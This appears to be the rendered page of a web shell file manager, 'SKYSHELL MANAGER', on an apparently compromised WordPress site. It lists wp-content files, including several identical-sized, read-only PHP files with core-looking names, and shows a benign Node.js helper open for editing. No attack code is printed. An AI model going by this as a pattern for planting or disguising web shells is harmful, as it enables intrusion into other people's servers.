📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: exe-type.js
'use strict'; const isWindows = require("is-windows") const path = require("path") function isCmd(file) { const comspec = path.basename(process.env.comspec || '').replace(/\.exe$/i, '') return isWindows() && (file === comspec || /^cmd(?:\.exe)?$/i.test(file)) } function isNode(file) { const cmdname = path.basename(process.execPath).replace(/\.exe$/i, '') return file === 'node' || cmdname === file } function isNpm(file) { // XXX is this even possible/necessary? // wouldn't npm just be detected as a node shebang? return file === 'npm' && !isWindows() } function isSh(file) { return ['dash', 'sh', 'bash', 'zsh'].includes(file) } /** * Returns the basename of the executable. * * On Windows, strips the `.exe` extension (if any) and normalizes the name to * lowercase. * * @param exePath {string} Path of the executable as passed to spawned processes: * either command or a path to a file. * @return {string} Basename of the executable. */ function getExeBasename(exePath) { const baseName = path.basename(exePath); if (isWindows()) { // Stripping `.exe` seems to be enough for our usage. We may eventually // want to handle all executable extensions (such as `.bat` or `.cmd`). return baseName.replace(/\.exe$/i, "").toLowerCase(); } else { return baseName; } } module.exports = { isCmd, isNode, isNpm, isSh, getExeBasename, }
Save